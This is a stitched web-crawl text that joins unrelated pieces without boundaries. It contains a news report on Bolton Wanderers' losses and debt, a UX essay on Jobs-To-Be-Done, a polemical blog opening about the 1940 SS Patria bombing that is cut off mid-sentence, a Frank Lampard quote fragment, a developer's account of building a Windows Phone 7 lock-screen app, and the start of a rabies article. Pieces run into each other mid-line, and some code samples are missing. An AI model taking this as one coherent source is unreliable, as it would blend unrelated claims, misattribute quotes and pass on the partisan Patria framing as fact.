Bolton last made a profit in 2006. Since then year-on-year losses have risen steadily to the current amount. This means that the £50.7m black hole suffered in 2012-13 has been seven years in the making – time enough, surely, for Gartside and Davies to have warning to arrest this. In 2007 a £2m loss was returned, the following year it was £8m and by 2010 it had jumped to an alarming £35m – this last figure all but tripling the previous year's £13m.
In the haemorrhaging of £50.7m over 12 months Wanderers become a member of the club no one wants to join by being the fifth to lose £50m-plus in a year.
Manchester City, who have done it four times, Chelsea (seven), Liverpool and Aston Villa (once each) are all entities with far greater finances and revenue streams than Bolton who, even before relegation two seasons ago from the Premier League, struggled with attendances that could be lower than several Championship clubs and even one in League One.
To place the £163.8m owed in further perspective, only Chelsea, Manchester United and Fulham have more debt from the most recent available figures. As Gartside confirmed, the fact that Bolton can shoulder such crippling losses to remain a going concern is solely down to the benevolence of Davies.
Gartside said: "This year's results show the difficulties faced in the football business when a club has enjoyed a sustained and successful period in the Premier League, in our case 11 years, then suffers relegation back to the Football League Championship. The ever-widening gap between the two leagues makes the transition extremely difficult, even with the benefits of parachute payments from the Premier League."
Regarding Davies, who paid £2.25m in 2003 to increase his shareholding from 29.7% to 94.5% to take over Bolton, Gartside offered thanks that the club remains solvent while stating that due to financial fair play rules in the Championship, alternative incomes have to be found. "It should go without saying that Eddie Davies continues to provide a humbling level of support to the club," Gartside said.
"However, the financial support given by owners is no longer possible in this league without severe penalty. We are responding to a changing environment by improvement and development of the wider Burnden Leisure business interests. This year we secured sole ownership of the hotel [at the Reebok Stadium], expanded our education business and applied for planning permission to increase our non-football operations to improve revenues over the medium to long term.
"We will continue to invest, both in the long and short term, where the returns can be justified. However, financial fair play rules require an alternative funding structure and Bolton Wanderers is very much moving towards a self-sustainable future."
The numbers that illustrate how Bolton find themselves so dependent on Davies to avoid entering administration ahead of potential extinction are alarming. Despite season ticket prices being frozen last season, attendances at the Reebok Stadium fell 24%, while sponsorship dropped from what was a relatively minuscule £4.3m to an almost insignificant £1.4m, a 68% decrease.
All of this occurred despite the club reducing staff and general administration costs. In a statement Bolton said: "Total staff costs for the year were £37.4m, down from £55.3m, as a result of a number of players leaving the club as well as the evoking of relegation clauses in a number of players' contracts and making significant changes in overheads. General administration costs reduced by 10% to £14.1m from £15.7m."
Davies, sources at the club claim, has no plans to walk away in the near future meaning the owner's ongoing commitment should be secured. There is also an insistence that a five-year plan is in place to address the debt. Yet Davies could hardly pull out of the club when £151.3m of debt is owed to him via his Moonlight Investments Ltd vehicle.
What seems clear is that the £163.8m owed by Bolton places the future of a founding member of the Football League in real jeopardy and this amount should surely not increase further.Part 1: What is JTBD?
The concept of a “job” in “Jobs-To-Be-Done” is neatly encapsulated by a oft-quoted line from Theodore Levitt:
“People want a quarter-inch hole, not a quarter inch drill”.
Even so, Don Norman pointed out that perhaps Levitt “stopped too soon” at what the real customer goal might be. In the “The Design of Everyday Things”, he wrote:
“Levitt’s example of the drill implying that the goal is really a hole is only partially correct, however. When people go to a store to buy a drill, that is not their real goal. But why would anyone want a quarter-inch hole? Clearly that is an intermediate goal. Perhaps they wanted to hang shelves on the wall. Levitt stopped too soon. Once you realize that they don’t really want the drill, you realize that perhaps they don’t really want the hole, either: they want to install their bookshelves. Why not develop methods that don’t require holes? Or perhaps books that don’t require bookshelves.”
In other words, a “job” in JTBD lingo is a way to express a user need or provide a customer-centric problem frame that’s independent of a solution. As Tony Ulwick says:
“A job is stable, it doesn’t change over time.”
An example of a job is “tiding you over from breakfast to lunch.” You could hire a donut, a flapjack or a banana for that mid-morning snack—whatever does the job. If you can arrive at a clearly identified primary job (and likely some secondary ones too), you can be more creative in how you come up with an effective solution while keeping the customer problem in focus.
The team at Intercom wrote a book on their application of JTBD. In it, Des Traynor cleverly characterised how JTBD provides a different way to think about solutions that compete for the same job:
“Economy travel and business travel are both capable candidates applying for [the job: Get me face-to-face with my colleague in San Francisco], though they’re looking for significantly different salaries. Video conferencing isn’t as capable, but is willing to work for a far smaller salary. I’ve a hiring choice to make.”
So far so good: it’s relatively simple to understand what a job is, once you understand how it’s different from a “task”. Business consultant and Harvard professor Clay Christensen talks about the concept of “hiring” a product to do a “job”, and firing it when something better comes along. If you’re a company that focuses solutions on the customer job, you’re more likely to succeed. You’ll find these concepts often referred to as “Jobs-to-be-Done theory”. But the application of Jobs-to-Be-Done theory is a little more complicated; it comprises several related approaches.
I particularly like Jim Kalbach’s description of how JTBD is a “lens through which to understand value creation”. But it is also more. In my view, it’s a family of frameworks and methods—and perhaps even a philosophy.
Different facets in a family of frameworks
JTBD has its roots in market research and business strategy, and so it comes to the research table from a slightly different place compared to traditional UX or design research—we have our roots in human-computer interaction and ergonomics. I’ve found it helpful to keep in mind is that the application of JTBD theory is an evolving beast, so it’s common to find contradictions across different resources. My own use of it has varied from project to project. In speaking to others who have adopted it in different measures, it seems that we have all applied it in somewhat multifarious ways. As we like to often say in interviews: there are no wrong answers.
Outcome Driven Innovation
Tony Ulwick’s version of the JTBD history began with Outcome Driven Innovation (ODI), and this approach is best outlined in his seminal article published in the Harvard Business Review in 2002. To understand his more current JTBD approach in his new book “Jobs to Be Done: Theory to Practice”, I actually found it beneficial to read his approach in the original 2002 article for a clearer reference point.
In the earlier article, Ulwick presented a rigorous approach that combines interviews, surveys and an “opportunity” algorithm—a sequence of steps to determine the business opportunity. ODI centres around working with “desired outcome statements” that you unearth through interviews, followed by a means to quantify the gap between importance and satisfaction in a survey to different types of customers.
Since 2008, Ulwick has written about using job maps to make sense of what the customer may be trying to achieve. In a recent article, he describes the aim of the activity is “to discover what the customer is trying to get done at different points in executing a job and what must happen at each juncture in order for the job to be carried out successfully.”
A job map is not strictly a journey map, however tempting it is to see it that way. From a UX perspective, is one of many models we can use—and as our research team at Clearleft have found, how we use model can depend on the nature of the jobs we’ve uncovered in interviews and the characteristics of the problem we’re attempting to solve.
Figure 1. Universal job map
Ulwick’s current methodology is outlined in his new book, where he describes a complete end-to-end process: from customer and competitor research to framing market and product strategy.
The Jobs-To-Be-Done Interview
Back in 2013, I attended a workshop by Chris Spiek and Bob Moesta from the ReWired Group on JTBD at the behest of a then-MailChimp colleague, and I came away excited about their approach to product research. It felt different from anything I’d done before and for the first time in years, I felt that I was genuinely adding something new to my research toolbox.
A key idea is that if you focus on the stories of those who switched to you, and those who switch away from you, you can uncover the core jobs through looking at these opposite ends of engagement.
This framework centres around the JTBD interview method, which harnesses the power of a narrative framework to elicit the real reasons why someone “hired” something to do a job—be it something physical like a new coffee maker, or a digital service, such as a to-do list app. As you interview, you are trying to unearth the context around the key moments on the JTBD timeline (Figure 2). A common approach is to begin from the point the customer might have purchased something, back to the point where the thought of buying this thing first occurred to them.
Figure 2. JTBD Timeline
Figure 3. The Four Forces
The Forces Diagram (Figure 3) is a post-interview analysis tool where you can map out what causes customers to switch to something new and what holds them back.
The JTBD interview is effective at identifying core and secondary jobs, as well as some context around the user need. Because this method is designed to extract the story from the interviewee, it’s a powerful way to facilitate recall. Having done many such interviews, I’ve noticed one interesting side effect: participants often remember more details later on after the conversation has formally ended. It is worth scheduling a follow-up phone call or keep the channels open.
Strengths aside, it’s good to keep in mind that the JTBD interview is still primarily an interview technique, so you are relying on the context from the interviewee’s self-reported perspective. For example, a stronger research methodology combines JTBD interviews with contextual research and quantitative methods.
Job Stories
Alan Klement is credited for coming up with the term “job story” to describe the framing of jobs for product design by the team at Intercom:
“When … I want to … so I can ….”
Figure 4. Anatomy of a Job Story
Unlike a user story that traditionally frames a requirement around personas, job stories frame the user need based on the situation and context. Paul Adams, the VP of Product at Intercom, wrote:
“We frame every design problem in a Job, focusing on the triggering event or situation, the motivation and goal, and the intended outcome. […] We can map this Job to the mission and prioritise it appropriately. It ensures that we are constantly thinking about all four layers of design. We can see what components in our system are part of this Job and the necessary relationships and interactions required to facilitate it. We can design from the top down, moving through outcome, system, interactions, before getting to visual design.”
Systems of Progress
Apart from advocating using job stories, Klement believes that a core tenet of applying JTBD revolves around our desire for “self-betterment”—and that focusing on everyone’s desire for self-betterment is core to a successful strategy.
In his book, Klement takes JTBD further to being a tool for change through applying systems thinking. There, he introduces the systems of progress and how it can help focus product strategy approach to be more innovative.
Coincidentally, I applied similar thinking on mapping systemic change when we were looking to improve users’ trust with a local government forum earlier this year. It’s not just about capturing and satisfying the immediate job-to-be-done, it’s about framing the job so that you can a clear vision forward on how you can help your users improve their lives in the ways they want to.
This is really the point where JTBD becomes a philosophy of practice.
Part 2: Mixing It Up
There has been some misunderstanding about how adopting JTBD means ditching personas or some of our existing design tools or research techniques. This couldn’t have been more wrong.
Figure 5: Jim Kalbach’s JTBD model
Jim Kalbach has used Outcome-Driven Innovation for around 10 years. In a 2016 article, he presents a synthesised model of how to think about that has key elements from ODI, Christensen’s theories and the structure of the job story.
More interestingly, Kalbach has also combined the use of mental models with JTBD.
Claire Menke of UDemy has written a comprehensive article about using personas, JTBD and customer journey maps together in order to communicate more complete story from the users’ perspective. Claire highlights an especially interesting point in her article as she described her challenges:
“After much trial and error, I arrived at a foundational research framework to suit every team’s needs — allowing everyone to share the same holistic understanding, but extract the type of information most applicable to their work.”
In other words, the organisational context you are in likely can dictate what works best—after all the goal is to arrive at the best user experience for your audiences. Intercom can afford to go full-on on applying JTBD theory as a dominant approach because they are a start-up, but a large company or organisation with multiple business units may require a mix of tools, outputs and outcomes.
JTBD is an immensely powerful approach on many fronts—you’ll find many different references that lists the ways you can apply JTBD. However, in the context of this discussion, it might also be useful to we examine where it lies in our models of how we think about our UX and product processes.
JTBD in the UX ecosystem
Figure 6. The Elements of User Experience (source)
There are many ways we have tried to explain the UX discipline but I think Jesse James Garrett’s Elements of User Experience is a good place to begin.
I sometimes also use little diagram to help me describe the different levels you might work at when you work through the complexity of designing and developing a product. A holistic UX strategy needs to address all the different levels for a comprehensive experience: your individual product UI, product features, product propositions and brand need to have a cohesive definition.
Figure 7. Which level of product focus?
We could, of course, also think about where it fits best within the double diamond.
Again, bearing in mind that JTBD has its roots in business strategy and market research, it is excellent at clarifying user needs, defining high-level specifications and content requirements. It is excellent for validating brand perception and value proposition —all the way down to your feature set. In other words, it can be extremely powerful all the way through to halfway of the second diamond. You could quite readily combine the different JTBD approaches because they have differences as much as overlaps. However, JTBD generally starts getting a little difficult to apply once we get to the details of UI design.
The clue lies in JTBD’s raison d’être: a job statement is solution independent. Hence, once we get to designing solutions, we potentially fall into a existential black hole.
That said, Jim Kalbach has a quick case study on applying JTBD to content design tucked inside the main article on a synthesised JTBD model. Alan Klement has a great example of how you could use UI to resolve job stories. You’ll notice that the available language of “jobs” drops off at around that point.
Job statements and outcome statements provide excellent “mini north-stars” as customer-oriented focal points, but purely satisfying these statements would not necessarily guarantee that you have created a seamless and painless user experience.
Playing well with others
You will find that JTBD plays well with Lean, and other strategy tools like the Value Proposition Canvas. With every new project, there is potential to harness the power of JTBD alongside our established toolbox.
When we need to understand complex contexts where cultural or socioeconomic considerations have to be taken into account, we are better placed with combining JTBD with more anthropological approaches. And while we might be able to evaluate if our product, website or app satisfies the customer jobs through interviews or surveys, without good old-fashioned usability testing we are unlikely to be able to truly validate why the job isn’t being represented as it should. In this case, individual jobs solved on the UI can be set up as hypotheses to be proven right or wrong.
The application of Jobs-to-be-Done is still evolving. I’ve found it to be very powerful and I struggle to remember what my UX professional life was like before I encountered it—it has completely changed my approach to research and design.
The fact JTBD is still evolving as a practice means we need to be watchful of dogma—there’s no right way to get a UX job done after all, it nearly always depends. At the end of the day, isn’t it about having the right tool for the right job?Historical snapshot into Jewish terrorism: The bombing of the S.S. Patria
N ot only do Israelis hold intensely hypocritical attitudes toward Palestinian nonviolence, as I highlighted in my last post, but they also hold opinions about violent Palestinian resistance that are characterized by a kind of phony piousness. Israelis simply disallow Palestinians the same right to struggle for a national home that they afforded themselves.
Here is a potent example of the cynical and violent behavior of Israel’s founders. The example concerns the case of the SS Patria, a 12,000 ton passenger ship carrying 1,904 Jewish refugees that had fled the Nazi regime in 1940. At that time the British authorities were attempting to slow Jewish immigration to Palestine, and they had decided to send the Patria to Mauritius. The Zionist leadership wanted fervently to prevent the deportation of the newly arrived refugees, so the Jewish paramilitary organizations—the Irgun and the Haganah—each attempted to destroy the ship sufficiently so that it could not function. First, the Irgun planted a bomb intended to disable the ship—and failed. Then the Haganah, operating under orders from Moshe Sharett (the future second prime minister of Israel, 1953–1955), planted a bomb in the inner hull of |
“I have some regrets, the fact that I was out and about shouldn’t be and I wouldn’t be if it was today. What I did want to say is that I categorically did not insult anyone, behave badly in front of Americans or in fact anyone. I was very sensitive straight away to the issue and the tragedy.”
The long buried story began to emerge in local newspapers; first with the Daily News, and the Post shortly there after. Lampard acknowledged the incident fully, but would not go into detail over just what parts of the report were in fact true.
Nevertheless, the 36-year-old Chelsea legend, who intends on visiting the 9-11 Memorial Museum, hopes that his work both on and off the field earn him a fresh start with New York City soccer fans.
“My point is I tried in my last 13-years in Chelsea to just be a good man really, not just a good footballer, but a good man off the pitch,” he said. “I’d like to think I’ve kind of done that and I want New Yorkers to hear that and see that. It’s up to me to show and prove the footballer and person I am.”Warning, this is long. I'll be frank with you, as I always am. I have an iPhone, a number of iPads and I like them fine. I have a Windows Phone that I use occasionally. I know C# but I do not know Objective-C.
TL;DR Version
I made my first Phone Application. I've spent about 6 hours on it. It's called Lost Phone Screen and it makes nice wallpaper. It's over at http://lostphonescreen.com. It's a simple customizable Windows Phone 7 Lockscreen. It was way easier and more fun to make than I expected. If I make a million bucks with this thing I'm GONE. You'll never see me again. :)
Introduction
I wanted to see how quickly I could make a useful Windows Phone 7 application. I'm not talking about just dragging a button onto a Hello World template and adding "press to fart." I'm talking about an MVP - Minimally Viable Product. It might not be the greatest app in the world, but it will provide value. At least to me.
Disclaimer: I don't work for the Windows Phone Team and don't really know anyone over there. I did this on my own with my personal details, personal account, as an "on the side moonlighting thing." While I work for Microsoft, I work in the Web department, not in Phones.
I honestly hadn't given the Windows Phone too much thought until the "Mango" release, when things got really interesting.
So, last week I sat down and decided to see how quickly I could come up with an app, write it, market it (make a website) and get it in the Windows Phone Marketplace. I had never done any of this stuff and my machine didn't even have any Phone development tools so I was starting from literally Step, ahem, Zero.
The Concept
I am consistently surprised at at how often someone shows me their fancy new phone - no matter what kind of phone they have - and they're using some lame default wallpaper. Folks rarely lock their phones (bad idea) and when they do, there's nothing on the lock screen wallpaper to help them get their phone back if it's ever lost.
"But Scott! I can enable this new fangled GPS and track my phone globally!"
Really? That's lovely and I'm sure ever se helpful when your phone is left in a basement pub, office building, subway or any other GPS-friendly locations. But that's not the point. Why make it hard? If your email or alternate phone number was on your lock screen - maybe even with a reward - chances are you'll get your phone back quickly and easily. Why do I say that? Because I've lost my phone twice before and had a dude call me to pick it up twice before.
I'll make an application that stamps your contact information on custom wallpaper for the Windows Phone 7. My requirements are:
Must create lock screen wallpapers that match the Phone's style. The resulting wallpapers must look like a built-in feature
Must look actually designed. Correct fonts, alignment, layout. No garish VB3-on-a-phone-green-background-purple-buttons for me.
Cool. I will call it LostPhoneScreen and I pay $8 for the domain. Then I get to work.
Step 0 - Get the Tools
First I go and download the Phone Development Tools. They are free to download, which is cool. To publish an app costs $99 a year though, but I don't have to pay until I decide to publish the app. I can publish up to 100 apps for that $99 and unlimited apps if I pay per app.
If I pay (which I did) I make an account at http://create.msdn.com and put in my bank account information for when the checks come rolling in.
OK, the Windows Phone SDK is installed so I start looking around for best practices. A development environment is only as good as its community and I don't want to write a bunch of stuff myself if someone has already done the work for me.
Step 1 - Get the Essential Open Source Libraries
My app has some requirements and some specific technical requirements. I pick these ones because I'm always irritated when apps don't do these things.
Must support Mango multi-tasking/quick-resuming
Must look nice and layout like a built-in app
Must notify (email?) me if a crash happens
Must work with light and dark theme
Must have a nice About Screen with release notes
Must have a nice website to promote that app
I started with these requirements and found these open source libraries and projects to support each requirement.These things are so important that the should have been included in the Phone SDK by default.
LittleWatson
You know when a Windows app crashes and a crash report is sent? That's done by a system called Dr. Watson. Andy Pennell made a small Error Reporting library for Windows Phone 7 called "Little Watson" that was then extended by Bjorn Kuiper and packaged into Bjorn's excellent Northern Light's WP7 Toolkit. His toolkit includes a bunch of little conveniences for serialization, logging and error handling.
It was extremely important to me as a first time app developer (and frankly, it's just important) to get notifications of crashes. I could setup a web service to catch them via HTTP but for the first version, I'll notify the user and email the call stack to me using Little Watson.
MetroGridHelper
I found out very quickly when doing resource on phone apps that coding is only maybe 30% of the work. The rest is design. Then layout, then more design. Even for a "trivial" app.
I'm not a designer, but I can follow the basic "Metro design guide for developers" and I see over and over that alignment is king. You know those apps where you look at them and know something's wrong? But you can't see what? Turns out it's usually font size, layout or alignment just poking at the back of your brain.
Jeff Wilcox create a useful debugging assistant that you can just drop into your application with NuGet that will make a set of red squares that are offset 12px from each other with in a page padding of 24px. As you start doing Windows Phone work you'll find that 12px is a magic number and everything looks "right" if it aligns on these boundaries.
I just need to
Install-Package MetroGridHelper
We'll also turn on the FrameRateCounter and only do these things if we are actively debugging.
This is so useful it should just be there by default. You'll hear me say that a lot.
SilverlightToolkit
The Silverlight Toolkit from Microsoft is up on CodePlex and also easily installed with NuGet.
Install-Package SilverlightToolkitWP
It include a pile of useful controls like DateTimePicker, LongListSelector, ProgressBar (the one I was interested in), Transitions (another that I wanted), and lots, lots more. These should be in the box. They are utterly essential.
TombstoneHelper
Tombstoning is what happens when you app gets navigated away from then navigated back to. It's how you make your app feel like it's been in the background the whole time the user was switching around, even though you were dead and then came back to life.
Install-Package WP7TombstoneHelper
There's a number of ways to save your apps state, but the I found the WP7 Tombstone Helper useful as it will automatically look at your controls and save their state away then put you right back when you're launched again. It isn't right for every scenario, but it was useful to me.
YourLastAboutDialog
If you're not careful, your About dialog can get more complex than your application. I don't want that, but I do like me a tidy About Dialog. I found YLAD - Your Last About Dialog to be the best option for me. It's a single DLL that gives you a generic but highly configurable about dialog. How configurable you ask?
Look how nice that is!
It's entirely managed by a single data.xml file that's totally self explanatory. I especially appreciate apps with clear listings of what's changed between versions. Not enough apps do that, probably because it's hard. But no more! Use YLAD.
Windows Phone Power Tools
Often you'll want to pull files off your emulator or actual phone directly. Since my app is going to serialize settings, make photos, and the like, I'll want to access the file system directly. The Windows Phone Power Tools were essential for accessing my application's Isolated Storage files. It was useful to simulate upgrades from one version to another and to debug serialization bugs.
Another one to watch is IsoStoreSpy that lets you preview files in the app itself.
PNGOut and PNGGauntlet
You will find yourself making a LOT of PNGs when you are doing mobile development. You'll almost always want to compress them before you ship. I squish the PNGs on my blog and often get compression improvements of 30% or more. I squished all the PNGs in my app to make the resulting XAP deployment file smaller, and the PNGs smaller on the phone itself.
I highly recommend PNGGauntlet with PNGOut. No quality is lost as PNG is a lossless image format. It's also worth pointing out that I lived in Paint.NET while making this application. It's an all around great app and the best way to work with all these PNGs.
Portable Library Tools
If you're going to want to create and use some assemblies between projects, the Portable Class Library project template for Visual Studio can make it a lot easier to share code.
Screenshots.cs
It's pretty hard to take a screenshot on a Windows Phone. On an iPhone there is a special button combination, but nothing like that exists on a Windows Phone. However, application developers have to take screenshots and submit screenshots all day long. Enter "screenshots.cs" from the crazy-useful Jeff Wilcox.
install-package ScreenShots.cs
When it's running (you don't want leave it running, just have it going when you need screenshots) it will take a screenshot programmatically every 2 seconds. If you leave it running it'll fill up your phone. ;)
NotifyPropertyWeaver
When making ViewModels for Windows Phone, you'll always end up taking a nice clean class with some properties and end up littering the properties with code like:
install-package notifyPropertyWeaver
And this stresses me out. I don't want to see those OnPropertyChanged and watch my simple class full up with notification boilerplate that I don't need to see. Fortunately Simon Cropp agrees with me and created NotifyPropertyWeaver to add this code post-compilation via IL Weaving without the need for attributes, base classes or even a class reference! It's in NuGet:
Or, even easier, from the Visual Studio Gallery. NotifyPropertyWeaver adds this MSBuild task automatically in your csproj:
I realize this whole idea is scary, but I can tell you that I added it and didn't think about INotifyPropertyChanged once in the development of my application. You just add properties and he'll take care of the OnPropertyChanged stuff. If you don't believe him (I didn't) then just open your DLL in Reflector and see for yourself.
My ViewModel class is super basic and I only had to implement INotifyPropertyChanged and the weaver did everything else automatically. Very cool and saved me a bunch of hassle. The details are up on the Google Code site for NotifyPropertyWeaver. I found it a very elegant solution to a potentially messy problem.
Coding4Fun Windows Phone Toolkit
No, the Windows Phone 7 Toolkit isn't enough. Clint and the guys over at Coding4Fun have created a toolkit of their own that adds even more awesomeness (that should have been baked into the thing from the start). Things like Color Pickers, Color Sliders, lots of different buttons and more.
Drink in the awesome over at http://coding4fun.codeplex.com.
Windows Phone 7 Emulator Skin Switcher
OK, this one isn't essential but it's totally cool eye candy. Why not change your phone skin with the Windows Phone 7 Emulator Skin Switcher? Live a little. The default one that comes with the emulator is a little meh.
When you run it, be SURE to scroll to the right as there are LOTS to choose from.
It's a nice touch.
There's a great list of other tools, libraries and tips over at Bil Simser's The Big Dummies Guide for Windows Phone Developer Resources. Bil helped me over Skype when I had dumb questions. I'm glad he called his guide the "Big Dummie's Guide" and not the Hanselman Guide because that'd make it too obvious that I was clueless when I called. Thanks, Bil!
All right. I've got the tools and I've got my idea. Now what?
Write The Application
I know C# as I'm an ASP.NET Web programmer, but I'm not a XAML guy. The last thing I wrote in XAML was BabySmash and let's just say it wasn't rocket science. I started by dragging stuff around on the visual designer, pulling in buttons, text boxes and stuff but the XAML source started getting really messy with absolute pixel values and stuff I didn't like looking at. I stared at it for a while and just decided to write the XAML manually via trial and error, convinced that the the simpler the XAML was that more likely my app was laid out correctly. This turned out to be pretty true. I made a home page and an edit page.
I got the two pages laid out and focused on making sure everything line up on the 12's (remember the MetroGridHelper I mentioned above) and tried to "intuit" when things looked wrong. I also referred to the "Metro design guide for developers" a lot.
Adding Polish
One thing I couldn't get my head around was that the transition between the main screen and the edit screen seemed jarring. It was like "poof." Then I realized there was no animation. Windows Phone apps usually use short but subtle animations to move between screens. Not just any old animations, but ones that involve direction to indicate moving forward or backward.
I remembered the Windows Phone 7 Toolkit above had transitions, so I applied them. The XAML is scary, but I only had to copy/paste. I made a NavigationIn and a NavigationOut for both pages so that they flip cleanly between each other.
I changed the PhoneApplicationFrame in App.xaml.cs to a TransitionFrame and the rest was magic. It just worked. Nice.
Once this was done, if I needed to add other animations, it would be trivial. This small change made the app feel more polished.
Resources (Yes, more PNGs)
I needed buttons for the ApplicationBar at the bottom but I'm not a designer. I talked to Jin Yang (a designer) to do the main icon:
ASIDE: If you don't understand this icon, it's because it's apparently not universal. In the US when a child was missing in the 80's and 90's they would put their picture on the back of a milk carton. The idea was that you'd be eating your cereal in the morning and you'd notice the picture and it would seep into you brain so you'd be on the alert for that child during the day. Maybe a "missing" flyer with this phone would be more culturally non-specific.
But I didn't need a full-blown expert for the standard black and white icons at the bottom. The Windows Phone SDK comes with 32 basic icons for things like download, save, stop, play, etc. Even better though are the icons at Templarian. These are hundreds of yummy icons for Windows Phone (and other phones) that are released under the Creative Commons license. The designers name is Austin Andrews and he's super talented. I mean, even when he's just drafting ideas he's awesome. If you use his icons, thank him and tell people. If you are a designer, why not join up and improve the pack for the community?
UPDATE: The 130 icons from WindowsWiki.info are also amazing and high quality. Another great place for icon inspiration is The Noun Project.
My app was so simple that I ended up only using just four of the icons that came with the SDK, but I'm going to exploit the Templarian Windows Phone Icon pack whenever I can in the future.
Interesting Gotchas (actually Got-mes)
The first time I submitted the app it was rejected within two days. Turns out that when you popup a Popup - like for my Save Button - the hardware Back button must dismiss the popup. They are really serious about this model that you move forward and the hardware Back button always moves "back."
I ended up having to close my popup like this:
As I continue to explore Windows Phone Development I'm sure I'll find better (read: less hacky) ways to manage things like this. Frankly, I was surprised that the Popup class didn't handle this for me!
Test with Light Theme
Another important thing is to test your app with a light theme. I initially had colors with hard-coded opacity like "CC00000000" for a transparent black. However, when your theme is white-based, rather than black, things start look like crap when you hard code colors. Instead they recommend that you use StaticResources with names that will automatically look correct, regardless of theme:
Here I'm using PhoneBackgroundBrush, which means my help Popup looks nice twice!
However, notice that the black text at the top is hard to read? More on that later. A feature to help with that will be in the next version, which should be out later this week!
Submit the Application
You log into http://create.msdn.com and go through a detailed but largely straightforward wizard. There's a long checklist but the one I spent the most time going over was the Application Artwork for Windows Phone section. You need two different icons for the phone, three different icons for the Marketplace and a panorama in case you are a Featured App. Remember earlier when I said it was less code and more PNGs? This is where the time was taken up; just making sure all the PNGs were perfect from a large source PNG.
After you submit, you wait. I waited 3 days, was rejected, fixed the Back Button issue and Submitted Again.
Now I've found a few more bugs and will submit an update this week. The cycle will continue.
Attention to Detail
There's so many little things from misspellings to missed pixels that you need to be on the lookout for. For example, I misspelled "wallpaper" in a screenshot - seriously - because I was working late into the night. Sloppy. And now I'll have to wait almost a week to fix it due to the way the Marketplace works. As a web programmer this will take getting used to as I'm used to "hit refresh, it's fixed" when squashing bugs for my users
Triple check everything, test and test again. Every small mistake means 3 days lost waiting for the marketplace to update. And those days can mean days of unhappy users.
Make the "Marketing" Website
Time to make myself a nice simple static website to promote my application. I could hire someone or try to make something myself, but I really just have some basic requirements.
The site should include screenshots
The site should be mostly static html but feel slightly dynamic (javascript?)
The site should work on a mobile device (even iPhones!) using responsive design.
The site should link to the Windows Phone Marketplace
I didn't want to spend much time on this, but I also didn't want to do my app a disservice with a crappy site. There are lots of mobile templates out there, but a few stand out as they are Windows Phone 7 Specific.
One is Wp7JekyllTemplates, which works nice if you are hosting your code and site on GitHub. The other is Wp7AppSite by Nick Harewood. I noticed that Wp7AppSite used the Skeleton Boilerplate, which I am a fan of. I used it on http://speakinghacks.com. It looks great on mobile so I was sold.
It was stupid-easy to setup. I just pointed my domain my my host, setup index.html as the default document, resized the screenshots, modified the HTML and uploaded. Took about 10 minutes.
Pricing
I made it $0.99. I didn't want to make it free because I didn't want to make it free. It costs less than the foam on your latte and it will get nice updates for free. I find it funny that folks will research 99 cent apps for an hour while sipping a $5 latte. ;)
I buy lots of $1 apps because THEY ARE $1 APPS.
Find a Bug
Earlier I mentioned that some wallpapers make it so the text is hard to read depending on the theme. Tim Heuer reported this so I added a feature to invert the text color, as seen in the screenshot below:
Notice how the A at the bottom in the Application Bar inverts depending on the color of the text. I am very happy with how that turned out.
Submit the Update
I also removed the progress bar as it was getting in the way of the screenshot process and fixed a data persistence bug where your settings don't always get saved depending on how you exit the application. This is due to my confusion about how task switching vs. application existing works in Mango. That's fixed and will be out as as a free update soon as they certify it.
I'll submit the 1.0.2 update this week that will include the smarter text coloring as seen in the screenshot above. Barring rejection, the Marketplace should notice you'll get the updates!
You can get Lost Phone Screen on the Windows Phone Marketplace and you can offer feedback and feature request on UserVoice. If you buy it, please review it on the marketplace from the About Screen.
UPDATE: Reviews
Bad Reviews hurt, even for a silly little application like mine. I've already released the 1.0.2 update with bug fixes that address many major issues folks have had with the app. Here's what you should do to keep on top of feedback and reviews:
Make sure you have a way to give feedback from the app directly (rather than via a review). My http://lostphonescreen.com site has a feedback tab that goes directly to User Voice. That's been great for new features.
Install the zTop Silverlight OOB application and pin your apps. You can view your app in Zune or the browser and see how you are doing. zTop links nicely to... Tom Verhoeff's excellent " Windows Phone 7 App Reviews " application to view Reviews without having to log into the AppHub. You can even reach out to reviewers with Zune and let them know you've fixed their issue.
There is also Rudi Grobler's Windows Phone Dashboard which is especially polished and useful if you have many applications in the marketplace.
I'll update this post with more info as I learn more. I haven't got download stats yet and I've only just released my first update.
Conclusion
I was pleasantly surprised how easy it was to get into Windows Phone 7 programming. I was also thrilled with the amount of great open source libraries, creative commons art and other resources that are available for the beginner. The marketplace process and website are still a little confusing and rough, and I don't like waiting days to find out how my app is doing, but I guess that's life with a marketplace.
Big thanks to Jin Yang for the Icon and Bil Simser for Skyping with me.
I'll keep updating my little app and trying to think of ideas for my Next App.
Enjoy!
Related Links
Bil Simser's The Big Dummies Guide for Windows Phone Developer Resources
The initial stock photo wallpaper is by Thomas Pentenrieder. It's used under the Creative Commons License with Attribution. You can see more of Thomas' excellent Windows Phone 7 Wallpapers on Flickr at http://flic.kr/photos/pentenrieder.The mysteries of rabies
One day, towards the end of summer, I walked into my living room and found my cats playing "Secret CIA Prison" with a bat. He was alive, but just barely. He lay on my floor twitching, his wings torn to Swiss cheese. The cats looked up at me as if to say, "We do good work, yes?" I locked them in the bedroom and called the vet. Fortunately, the cats were all up on their shots. Unfortunately, I couldn't tell the vet how the bat had gotten into the house, nor how long he'd been there.
"You should maybe call your doctor," she said.
On average, 55,000 people worldwide die from rabies every year, but only two or three of those cases happen in the United States, thanks to widespread vaccination of domestic animals and availability of post-bite treatment for humans. Today, when Americans die of rabies, it's usually because they didn't realize they'd been bitten until it was too late—which is to say, when they first noticed symptoms.
See, we know how to prevent rabies, but we have absolutely no idea how to cure it. In fact, we don't even really know how it kills people. Despite (and, perhaps, because of) its status as one of the first viruses to be tamed by a vaccine, rabies remains a little-understood disease.
It's a mystery that makes doctors understandably nervous. Just a week before I found my bat, some friends of mine in St. Paul had woken up to find a bat in their bedroom. Being asleep is one of those times when tiny bat teeth could bite you without you being aware of it. My friends had to get post-exposure prophylaxis, a treatment designed to neutralize any rabies virus in your system before it has a chance to reach your brain and develop into a full-blown infection.
"You think about flu, that's a very quick virus. You develop symptoms in a couple of days. In a week, it's passed. But rabies incubation is very long," said Zhen Fu, DVM Ph.D., professor of pathology in the College of Veterinary Medicine at the University of Georgia. "It may be weeks or even months before you develop an active infection. So we have enough time after a bite to immunize with normal vaccine and bring up the immune system."
That means five doses of vaccine, over the course of 28 days, according the Centers for Disease Control and Prevention. If there's also an obvious bite, doctors will clean the wound and apply rabies antibody serum to the site. The antibodies are basically the key part of a lock-and-key system that tells your immune system to destroy anything the key fits. The idea is that antibodies will help destroy most of the virus at the site of entry, while the vaccine will train your body to knock out any strays it finds elsewhere. The CDC also recommends a shot of antibodies, separate from the vaccine, even if there is no obvious bite.
